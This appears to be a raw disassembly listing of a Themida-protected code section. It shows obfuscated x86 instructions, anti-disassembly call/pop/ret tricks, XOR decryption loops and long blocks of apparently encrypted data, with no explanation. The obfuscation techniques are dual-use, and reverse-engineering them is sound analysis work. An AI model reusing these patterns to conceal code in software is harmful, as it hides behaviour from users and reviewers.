xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5CAA7D
jmp short loc_5CAACE
; ---------------------------------------------------------------------------
loc_5CAA98: ; CODE XREF: Themida_:005CA642j
; Themida_:005CAAAFj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5CAA98
jmp short loc_5CAACE
; ---------------------------------------------------------------------------
loc_5CAAB3: ; CODE XREF: Themida_:005CA679j
; Themida_:005CAACAj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CAAB3
jmp short $+2
loc_5CAACE: ; CODE XREF: Themida_:005CAA96j
; Themida_:005CAAB1j
mov eax, eax
mov edi, [ebp+6122959h]
jp loc_5CAAE2
and ebx, 24465EF5h
loc_5CAAE2: ; CODE XREF: Themida_:005CAAD6j
cmp dword ptr [ebp+6120011h], 3
jnz loc_5CAE55
cmp dword ptr [ebp+615BD0Ch], 0
jz loc_5CAE55
jmp loc_5CAB0C
; ---------------------------------------------------------------------------
db 97h, 7Eh, 97h
dd 0B7C58B86h, 0DF66048Bh
; ---------------------------------------------------------------------------
loc_5CAB0C: ; CODE XREF: Themida_:005CAAFCj
push dword ptr [ebp+615BD0Ch]
jmp loc_5CAB20
; ---------------------------------------------------------------------------
db 6Ch
dd 0EAB76E01h, 81897225h
; ---------------------------------------------------------------------------
loc_5CAB20: ; CODE XREF: Themida_:005CAB12j
call dword ptr [ebp+6122029h]
push 0
push ecx
call sub_5CAB31
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CAB31 proc near ; CODE XREF: Themida_:005CAB29p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5CAB31 endp
; ---------------------------------------------------------------------------
test byte ptr [ebx-287E99CAh], 0BAh
mov eax, ds:0BD00B58Bh
adc eax, 51006A06h
call sub_5CAB5A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CAB5A proc near ; CODE XREF: Themida_:005CAB52p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5CAB5A endp
; ---------------------------------------------------------------------------
jnb short near ptr loc_5CAB8B+5
sbb eax, 9501B2C9h
icebp
and dl, [edx]
push es
mov dword ptr [esi], 10001h
push 0
push ebx
call sub_5CAB86
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CAB86 proc near ; CODE XREF: Themida_:005CAB7Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
loc_5CAB8B: ; CODE XREF: Themida_:005CAB6Aj
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5CAB86 endp
; ---------------------------------------------------------------------------
jo short near ptr loc_5CABDE+7
nop
push ds
aaa
dec ebp
jge short near ptr byte_5CABFB
rcl dword ptr [esi-727669B0h], 9Dh
or edx, [edx]
push es
sub [ebp+6122F35h], ecx
push dword ptr [ebp+615BD0Ch]
stc
call dword ptr [ebp+6121AE1h]
clc
mov esi, [ebp+615BD00h]
add ebx, [ebp+6123021h]
mov eax, [ebp+6123039h]
push 0
push edi
call sub_5CABD9
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CABD9 proc near ; CODE XREF: Themida_:005CABD1p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
loc_5CABDE: ; CODE XREF: Themida_:005CAB96j
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5CABD9 endp
; ---------------------------------------------------------------------------
db 0FCh, 0B8h, 0Fh
dd 682h, 61BD2300h, 89061221h
db 86h, 0C4h, 0
byte_5CABFB db 0 ; CODE XREF: Themida_:005CAB9Cj
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0ED07A31Ah, 25459D23h, 0C3810612h, 50A6B12Eh
dd 2DCD958Bh, 0E9500612h, 9, 8CF211F2h, 2CC835AAh, 0C2835FFDh
dd 8E904h, 2A560000h, 67B69D28h, 50895F20h, 51858920h
dd 8D061223h, 15D0EA85h, 0C8A0F06h, 0F000000h, 681h, 659D8B00h
dd 89061230h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0E4044E4h, 0CA73D45Dh
dd 57006A25h, 99850160h, 8B061210h, 1200D18Dh, 895B6106h
dd 1228E185h, 0CB5FF06h, 0FC0615BDh, 2CD595FFh, 880F0612h
dd 2, 8B96D98Bh, 0BE850FEh, 0FF000000h, 1D330446h, 0DCE9900Eh
dd 965B2668h, 2810Fh, 0DE8B0000h, 0BD0CB5FFh, 8D890615h
dd 6121331h, 2E2995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 26DCFFC3h, 0E9FA8B66h
dd 11h, 0F0011691h, 864A0078h, 0AAE69B80h, 0A85A3BD7h
dd 89BD837Fh, 61211h, 38840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 1B358FC3h
dd 499F02D7h, 8A0F5096h, 2, 8996D98Bh, 1200899Dh, 7D4DBF06h
dd 0B5FF3667h, 615BD0Ch, 1B3D9D8Bh, 95FF0612h, 6122AA5h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0DCC35040h
dd 9333D2DAh, 43CF81A4h, 0FF1E5DBCh, 15BD0CB5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 9DBD8968h, 89061213h, 1217D195h, 0B195FF06h, 6A06121Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 785BC353h, 56009445h, 0F51B309h, 835FD9B7h
dd 122A41BDh, 840F0206h, 34h, 0FF4DBB66h, 18A9858Bh, 0DE8B0612h
dd 6A0000C6h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 90C2C350h, 0F5481D1Dh, 0FE26DA98h
dd 30185C7h, 612h, 0BF0F0000h
db 0FEh
; ---------------------------------------------------------------------------
loc_5CAE55: ; CODE XREF: Themida_:005CAAE9j
; Themida_:005CAAF6j
jmp loc_5CA226
; ---------------------------------------------------------------------------
mov edi, [ebp+6121FD1h]
mov eax, ecx
jmp loc_5CAE79
; ---------------------------------------------------------------------------
db 8Fh
dd 6E4503h, 3 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5CAE79: ; CODE XREF: Themida_:005CAE62j
jmp loc_5CB408
; ---------------------------------------------------------------------------
dw 0C3CEh
dd 2666FF4Ch, 87039CE9h, 0EDA23B88h, 513CD522h, 348171BEh
dd 0EF3CD3BAh, 8DDA3556h, 26739CF4h, 0C10E018Dh, 0F79098E7h
dd 844DF652h, 0B7D790A7h, 7297C558h, 0F5BEF31Ch, 0D600B998h
dd 937A63F6h, 1740C774h, 81ECECC8h, 1CF39B34h, 0F3FC0E7h
dd 0E233E74Eh, 0B1DDEE81h, 1A65DCA0h, 40AB0909h, 0C54A420Bh
dd 0D9404D06h, 512459B6h, 1FDEB1E6h, 0E00E7017h, 75081347h
dd 0FBE6FA90h, 26851192h, 0D2EDE271h, 0AF602E3Fh, 48C7C962h
dd 0EE210889h, 0F720EF9Dh, 0E87BCD39h, 0DB3E52EBh, 0E52A65B4h
dd 772DDB0h, 8C94ABD2h, 47DFD2FBh, 6F1C7D88h, 8FFC0DA0h
dd 9840C180h, 339B5EA7h, 0F9A18619h, 4F6769EAh, 88702C8Fh
dd 0AD38A9F5h, 46DF2CE3h, 4F08C748h, 5C41D43Bh, 27ACB435h
dd 69214B4Ah, 0F98C8308h, 0E026F599h, 5D16A547h, 0FD49DC33h
dd 39D5ADE4h, 730222BCh, 54000000h, 0BEF31C72h, 0DF5FE7A6h
dd 52BDD347h, 0D43B541Dh, 0A53CC09Fh, 9051BD40h, 0BCFE99F9h
dd 14E22h, 72A00000h, 99C0F51Ah, 600D7A82h, 636E47DFh
dd 42CDBFD0h, 315A0283h, 0CC8CE89Ch, 48B5439h, 2C40D60Bh
dd 6923DCB5h, 0B9E71A6h, 307D92FAh, 6E22F797h, 99DB6CA1h
dd 17B05D08h, 6F2E9904h, 1E375058h, 0F0B347E0h, 0E9AB06C5h
dd 0D3667109h, 5B1420D6h, 0D6A9DE31h, 61F41B75h, 9DD23D50h
dd 3ED1BD76h, 92A33609h, 1E015FAh, 722B647Dh, 4D5EF11Eh
dd 0E982CF40h, 94AB6AA5h, 0DF5FFB8Ch, 0EA7D8847h, 0C14E3C05h
dd 0CCD4EB02h, 47DF5FBBh, 7A0DBDC8h, 947DF5Fh, 0F6866BFEh
dd 5E0F36B7h, 1298A2E7h, 0D7AE337Fh, 22BCC38Fh, 7D1Ch
dd 0FD146E00h, 0DF5F92F5h, 53E6F147h, 8FC44B42h, 0EFF7C4C6h
dd 47DF5F98h, 4075E0EBh, 0A04B96AAh, 3CD522EDh, 0C089BE51h
dd 420B40CFh, 0C48DC24Dh, 490E43CCh, 6F974C95h, 0EFF78E53h
dd 0CF22BCFCh, 0C7DC7516h, 0F46C2F6Dh, 484ADD48h, 4Ch
dd 1FF0A059h, 0D6B617EAh, 9E310439h, 0F41B7270h, 759AF6BFh
dd 0F9167740h, 7B94FBC4h, 7B127346h, 0B5C95F94h, 0DE22B72Ch
dd 6AA5E803h, 5B14671Dh, 0D8ABE02Fh, 0B7583445h, 60246A82h
dd 0C7847DFh, 0FEC6BED5h, 11322BCh, 65000000h, 38F71872h
dd 0A3AB107Fh, 47DF5FE4h, 0EC218C97h, 7AA18619h, 0C9C32DF9h
dd 8C1F4995h, 8606137Bh, 43356089h, 0ACDE08C1h, 0C2C98241h
dd 0B245184Dh, 8F8A04CDh, 8DB10FFh, 0EB9F689Dh, 0AEF2EF24h
dd 826EAE33h, 206D265Fh, 9FF1BAEFh, 0FD683B70h, 0DE31596Ah
dd 8700081Fh, 0F447DFE3h, 0FC5956E9h, 474F0EF3h, 49F207B7h
dd 0FA13C58Eh, 7DDE37E3h, 7A14DD12h, 98514895h, 0A26D23F6h
dd 0FA2F9A6Dh, 46C9C627h, 65ECA2B3h, 4B3113C5h, 0A7FBAB77h
dd 791B90B9h, 7E4A3D45h, 2E394DF1h, 0B2358C3h, 4DF17E82h
dd 0C621C004h, 61FA47C8h, 0E4ADE22Dh, 513065AAh, 0B5D914CDh
dd 0B8180D5Ah, 6D24AEE1h, 129h, 0C0A5AEBFh, 7729F901h
dd 91449F1h, 1EFB914Ah, 976A9F70h, 0EBB4992Ch, 861F6CA3h
dd 9D20708h, 8C558A85h, 0ED70C03h, 0B2B0D081h, 0ECCCC846h
dd 0B834C81h, 1FC2D604h, 859C43BAh, 0F1D30A7Dh, 0DB6E794Dh
dd 0F797528Fh, 0BDD4CB18h, 0F1D2D2B5h, 4A52B14Dh, 4DF1D33Dh
dd 35C8333Eh, 0AE8DC8C8h, 481D24h, 752E0000h, 0B253371Ah
dd 561AFA3h, 0AED9079Ah, 0F800BFA4h, 0C7DF5F6Fh, 344C818Ch
dd 0C7DF5E53h, 0FB2AB76Bh, 3D4504F1h, 47DF5E2Ah, 95F2FA59h
dd 0E647DF5Fh, 0FB66A9E5h, 354C4390h, 0DF5F5A2Dh, 8B1E2947h
dd 7C7Ch, 0A5AEE600h, 55F901C0h, 0B049F181h, 0FA2FE0AFh
dd 44FDBC27h, 4F34C748h, 0BA070886h, 6DA26D21h, 0F1883755h
dd 0DC62D4Dh, 86598E81h, 0AF3AA7F3h, 86E330DFh, 20D9987Dh
dd 2AE5AB6Eh, 8FF800BFh, 0EC4DF188h, 0C8DF4EE1h, 8AF647h
dd 6AFDB3B7h, 6A3380Ah, 41496050h, 47E40846h, 4F972A35h
dd 48460F44h, 0DBEA92C7h, 6DA26D22h, 26BB079Ah, 4807EEF7h
dd 0F8F20240h, 55A2AD49h, 0C0A5AE9Fh, 0CC434801h, 0B7EC236Bh
dd 0DAE251E4h, 49F44968h, 4E174C57h, 0E982CF40h, 2AAB6AA5h
dd 3C6E3588h, 0E578BBh, 0C9B29BE8h, 9A1B52F5h, 0CDD9F19h
dd 0E1E9A803h, 0B62508A6h, 0EB37CAD5h, 0BBD48DF6h, 0DEB0C154h
dd 434BE431h, 0C1CE97CCh, 3A16BC90h, 31921922h, 0A87BB05Fh
dd 503F083Dh, 0CCC18ABFh, 4B450E43h, 0F6EB2FC4h, 2CB5A1E1h
dd 0F542CDC1h, 0A8DD325Ch, 3E1h, 34224B00h, 0BBF01F72h
dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
dd 0CF040B84h, 568B8406h, 0DB10FF8Dh
db 0D4h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
push esi
mov esi, 616F3A4h
mov eax, esi
mov esi, [esp]
add esp, 4
push esp
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, eax
mov [esi+8], edx
pop edx
push dword ptr [esp]
pop esi
add esp, 4
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 4Bh, 0ECh, 48h
dd 3E2379AAh
; ---------------------------------------------------------------------------
loc_5CB408: ; CODE XREF: Themida_:loc_5CAE79j
mov eax, 616F89Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0F6h, 80h, 60h
dd 0E1035819h, 194B0A6Bh, 61415635h, 8A8D351h, 0FBC31179h
dd 0F1CD0117h, 0BEC5592Bh, 0BD9F3B7Ah, 7ABEB453h, 0CAC7124Bh
dd 0FEA88749h, 3E7E105Bh, 0F3D0B94Ah, 0F8458150h, 0F65F437Fh
dd 1F715324h, 0E24D1F0Dh, 0FD754360h, 90F3D16Fh, 65858D3Dh
dd 52061200h, 905BFE8Bh, 0FE8h, 0F37F8000h, 74061455h
dd 0C4740D47h, 0C8547E02h, 0F33DBF66h, 8A51505Fh, 0F905FDCh
dd 1884h, 0BE96000h, 7D000000h, 0B1CAC38h, 0CFAE309Ah
dd 8D8B7FB0h, 61225E9h, 0AE961h, 40760000h, 0C2A1AA40h
dd 0C15CDA2Eh, 6AF9006Ah, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 643689C1h
dd 0DAB8F90Eh, 858938C6h, 61227EDh, 0FB81858Dh, 6A0616h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0D02500C3h, 0E4529341h, 53BE7C24h, 28A5B589h, 895F0612h
dd 1226A195h, 5C08306h, 20C9BD8Bh, 66500612h, 489DE8Bh
dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 867350B0h, 56EF815Fh, 6A19F3C7h, 0E3816600h
dd 6A363Ah, 19E59D8Bh, 95FF0612h, 6120B55h, 619D89h, 0B7510612h
dd 8D8D5FA4h, 6159BCAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 63C35747h, 80E99D6Dh, 0D1FFADE7h, 81B58B60h
dd 51061223h, 0F9B0E381h, 615B35B0h, 0EE9BD83h, 0F010612h
dd 9E85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 9D8BC81Eh, 61233F5h, 6A026Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0A8484AC3h, 0BF0F651Dh, 0DF8B50F8h, 6A240489h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0BBD4C352h, 883C27Eh, 5FD88B51h, 11852960h, 52061227h
dd 12E9h, 4D94F000h, 102EF86Ch, 0BF467806h, 8BC9A41Eh
dd 5A5D0D26h, 0D595FF61h, 5706122Ch, 0E95BD98Bh, 0F16h
dd 0E8h, 0ED815D00h, 616FB8Bh, 88A0Fh, 1500000h, 1231F585h
dd 8E95B06h, 92000000h, 0B8DFBC2Bh, 8D9F8B50h, 15968F85h
dd 0F7816606h, 509016E9h, 0FE9h, 0CBAEA00h, 1AEE9CA0h
dd 32B532D6h, 4BFA1BD2h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 0FF64AF3Fh, 35h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0BAFE1295h, 2831BD33h, 89640612h, 25h, 69BD8B00h, 0FF061208h
dd 12123585h, 0A59D8B06h, 6A061214h, 53006AFFh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 2EE38C81h
dd 8B1E5C49h, 122119BDh, 0A59D0306h, 0FF061225h, 1232E5B5h
dd 12E806h, 9C600000h, 58AE83AEh, 0E4BBD292h, 609D1AEFh
dd 0B87F7F1Ch, 2935BD8Bh, 0FF5B0612h, 12147595h, 148E906h
dd 0BD230000h, 612245Dh, 0CE900B0h, 46000000h, 0D059949Ch
dd 0BE10A15h, 0E6561CA9h, 6850F70h, 8B000000h, 123029BDh
dd 0B771E406h, 159D8BCAh, 3C061234h, 0F830F61h, 0E8000001h
dd 0Bh, 10073029h, 48B5D039h, 0FAB969Dh, 589h, 0FBF9BF00h
dd 0F5B3A00h, 0DBBC8B6h, 0BA2DC01Bh, 6, 0BF35DB81h, 0C18B0FA5h
dd 34519D8Bh, 0E8C10612h, 0DB50904h, 66061200h, 0B70FE2F7h
dd 0FC82BFEh, 178Eh, 0BE800h, 0D0680000h, 615E6D8Ah, 44C325C5h
dd 0BDB58971h, 5B061223h, 0BD8BD18Bh, 61212B9h, 9DE9h
dd 0FD9D0100h, 66061233h, 8B26A2BBh, 554C5085h, 6E847h
dd 32E20000h, 38A6AEE9h, 835BFA8Bh, 8F0F07C0h, 0
db 83h, 0C0h, 0
; ---------------------------------------------------------------------------
mov ebx, ecx
cmp edx, eax
jnb loc_5CB854
jmp loc_5CB8B2
; ---------------------------------------------------------------------------
mov [ebp+612345Dh], ebx
loc_5CB854: ; CODE XREF: Themida_:005CB843j
mov ecx, [ebp-1]
push edx
jnp loc_5CB867
mov edi, [ebp+6121785h]
loc_5CB867: ; CODE XREF: Themida_:005CB85Bj
pop ebx
and ecx, 1
jz loc_5CB8B2
movzx ebx, cx
and dword ptr [ebp-1], 0FFFFFFFEh
jmp loc_5CB888
; ---------------------------------------------------------------------------
dd 6EDA5061h, 0DC299A3Ah
; ---------------------------------------------------------------------------
loc_5CB888: ; CODE XREF: Themida_:005CB87Bj
or [ebp+6122B29h], eax
mov [ebp+47554C50h], edx
push edx
jge loc_5CB8AC
jmp loc_5CB8AC
; ---------------------------------------------------------------------------
dd 2793C4B3h, 4CBDB3EEh, 732D60D4h
; ---------------------------------------------------------------------------
loc_5CB8AC: ; CODE XREF: Themida_:005CB895j
; Themida_:005CB89Bj
pop edi
jmp $+5
loc_5CB8B2: ; CODE XREF: Themida_:005CB849j
; Themida_:005CB86Bj
lea esi, [ebp+6167492h]
push 0
push ecx
call sub_5CB8C3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB8C3 proc near ; CODE XREF: Themida_:005CB8BBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
loc_5CB8D1: ; CODE XREF: Themida_:005CB907j
push ecx
retn
sub_5CB8C3 endp
; ---------------------------------------------------------------------------
xor al, 46h
mov bl, 95h
cld
push 0
mov ebx, 7CC9AC8Ch
call dword ptr [ebp+61229D1h]
push 0
push eax
call sub_5CB8F0
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB8F0 proc near ; CODE XREF: Themida_:005CB8E8p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5CB8F0 endp
; ---------------------------------------------------------------------------
mov ds:0F427C9D8h, al
inc ecx
dec edi
jg short loc_5CB8D1
mov edi, [ebp+6121199h]
mov ecx, 1057h
mov edi, eax
and ecx, 0FFFFFFFCh
push 0
push edi
call sub_5CB924
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB924 proc near ; CODE XREF: Themida_:005CB91Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5CB924 endp
; ---------------------------------------------------------------------------
dd 0B172FDAEh, 56F0FF30h, 6AFC39h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0D18C2FC3h, 0B8h, 0B5BD0100h
dd 0BA061225h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5CB977
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB977 proc near ; CODE XREF: Themida_:005CB96Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5CB977 endp
; ---------------------------------------------------------------------------
xchg eax, edx
shl dword ptr [esi-45h], 0Eh
pusha
loc_5CB98D: ; CODE XREF: Themida_:005CB997j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CB98D
mov [ebp+6121AD1h], edx
push 0
push eax
call sub_5CB9AA
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB9AA proc near ; CODE XREF: Themida_:005CB9A2p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5CB9AA endp
; ---------------------------------------------------------------------------
sal esi, cl
xor al, 5Ch
sbb ebx, [ebx+ebx*2+0B7BCBA5h]
popf
frstor byte ptr [edi]
adc al, [esi]
or eax, 88h
push 0
push ecx
call sub_5CB9DA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB9DA proc near ; CODE XREF: Themida_:005CB9D2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5CB9DA endp
; ---------------------------------------------------------------------------
dw 0A0EFh
; ---------------------------------------------------------------------------
cdq
jmp loc_5CBA00
; ---------------------------------------------------------------------------
dw 6383h
dd 459362E1h, 0CE87A01Dh, 7282FAC0h
; ---------------------------------------------------------------------------
loc_5CBA00: ; CODE XREF: Themida_:005CB9EDj
mov edx, [ebp+6122DCDh]
mov [ebp+6122C89h], ebx
mov ecx, [ebp+61231BDh]
mov di, 321h
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
call loc_5CBA41
rcl byte ptr [esi-15h], cl
iret
; ---------------------------------------------------------------------------
db 0B7h, 95h, 0E8h
dd 2047F138h, 0D3DB537Fh, 73F2EE04h
db 0A8h
; ---------------------------------------------------------------------------
loc_5CBA41: ; CODE XREF: Themida_:005CBA28p
jmp loc_5CBA55
; ---------------------------------------------------------------------------
dw 3243h
dd 0E8F43020h, 0CF0B2F61h, 92AC46D7h
db 0BEh
; ---------------------------------------------------------------------------
loc_5CBA55: ; CODE XREF: Themida_:loc_5CBA41j
pop ebx
and edi, [ebp+61226CDh]
cmp dword ptr [ebp+6121419h], 0
jz loc_5CBAC5
mov edi, ecx
mov eax, 0
call sub_5CBA87
cld
lock lodsd
mov ch, 3
; ---------------------------------------------------------------------------
dw 0CC8Eh
dd 3E5A1909h, 27A76B04h
db 72h, 3, 1Dh
; =============== S U B R O U T I N E =======================================
sub_5CBA87 proc near ; CODE XREF: Themida_:005CBA70p
mov [ebp+61218D1h], ebx
pop ebx
lea ecx, [ebp+6124E4Bh]
push 0
push ebp
call sub_5CBA9F
and [ebp-3Dh], bl
sub_5CBA87 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CBA9F proc near ; CODE XREF: sub_5CBA87+10p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5CBA9F endp
; ---------------------------------------------------------------------------
sub ebx, 0FFFFFFBAh
and esi, [ecx-74599089h]
mov ebp, 61215B5h
jmp ecx
; ---------------------------------------------------------------------------
and ebx, 8A91BF4h
loc_5CBAC5: ; CODE XREF: Themida_:005CBA63j
cmp dword ptr [ebp+6120011h], 0
jz loc_5CC077
push 0
push edx
call sub_5CBADD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBADD proc near ; CODE XREF: Themida_:005CBAD5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5CBADD endp
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 0BBB0h
dd 0B90C6982h, 0F56DB45h, 185h, 835FF900h, 120011BDh, 840F0106h
dd 586h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 0CAC35646h, 69331021h, 66D38193h, 83239AE3h, 120011BDh
dd 860F0306h, 51Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 0FBC35242h, 1D3AC373h, 0FD71108Fh, 52006A60h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0FBB9475h, 8B551E73h, 1229419Dh, 0D98C6606h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D0C35242h, 51F4585h
dd 0C618759h, 4E18031h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 90C35040h, 628975F2h, 585896Bh, 0A061209h
dd 0D0840FC9h, 57000001h, 8B5BDF8Bh, 1224CD85h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 1C91520Eh, 0E80E25BEh, 7E97CCBh, 0D4000000h, 568C5E3Eh
dd 11E9F1BDh, 0FB000000h, 9D788C7h, 0D220C422h, 7278D211h
dd 0D0861AFEh, 248D8533h, 0DF810612h, 48BD4149h, 23F19589h
dd 0BF900612h, 33F86E00h, 9E850h, 6B5A0000h, 0F77A1C2Dh
dd 0E9F5CB3Fh, 0Fh, 37766282h, 89FED335h, 991FE9E5h, 5B18B0D2h
dd 14E990h, 29FF0000h, 0A638574Fh, 0C3B5112h, 0B2BC50F3h
dd 65AD161h, 0BD8961E2h, 61217D1h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F5162DC3h
dd 0D97C35A6h, 8147ADDAh, 644327C7h, 758D8943h, 68061213h
dd 0E3BC2B87h, 14E9h, 9509A000h, 5257994Ah, 8945F780h
dd 0CA93B992h, 36C690C5h, 2404818Bh, 1C62D878h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 3DC35242h, 95FFFDA5h
dd 6123031h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 2AC35646h, 3F98405Eh, 0A92A0E2h, 0BD0C8589h, 6A0615h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 690E54C3h, 27019589h, 13E90612h, 2F000000h, 1709120Eh
dd 48C00C5Ah, 1F276A3Eh, 2FB81437h, 4EE90CD8h, 6A000002h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 0E8F7C352h, 7, 64DDC776h, 9C5D42Fh, 12039D95h
dd 8E95B06h, 23000000h, 4349AFF8h, 8BF963DBh, 15BD0485h
dd 2DBD2906h, 0E9061213h, 6, 86E19FEAh, 0C7092Dh, 18h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F3C35242h
dd 98FD8CFBh, 0BB918B52h, 0E18D897Dh, 8B061213h, 15BD08B5h
dd 24EF8006h, 10E9h, 0E4E18D00h, 1E84B9EDh, 8004643h, 0DD8D0FC7h
dd 99858BA2h, 89061223h, 121DB1BDh, 53068906h, 0C64CBF66h
dd 0CD858B5Fh, 6A061224h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 4A8FC353h, 3FA23D6Bh
dd 0E7B7418Ch, 8B82DB80h, 12087DBDh, 9DBD8B06h, 89061232h
dd 20BB0446h, 50643B12h, 7C5ABF66h, 6A243489h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 8C85C356h, 0EA0CEA7h, 0BD8B12FDh, 6121605h, 0BD04B5FFh
dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 61D750C3h, 1DF19D8Bh, 0BD890612h, 6120EE5h
dd 0A4DB6268h, 98BB66BBh, 24048148h, 447A289Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 0D0E4CEC3h
dd 5E9h, 0DC2F1C00h, 8A0F5136h, 6, 3D8D09h, 0BD090612h
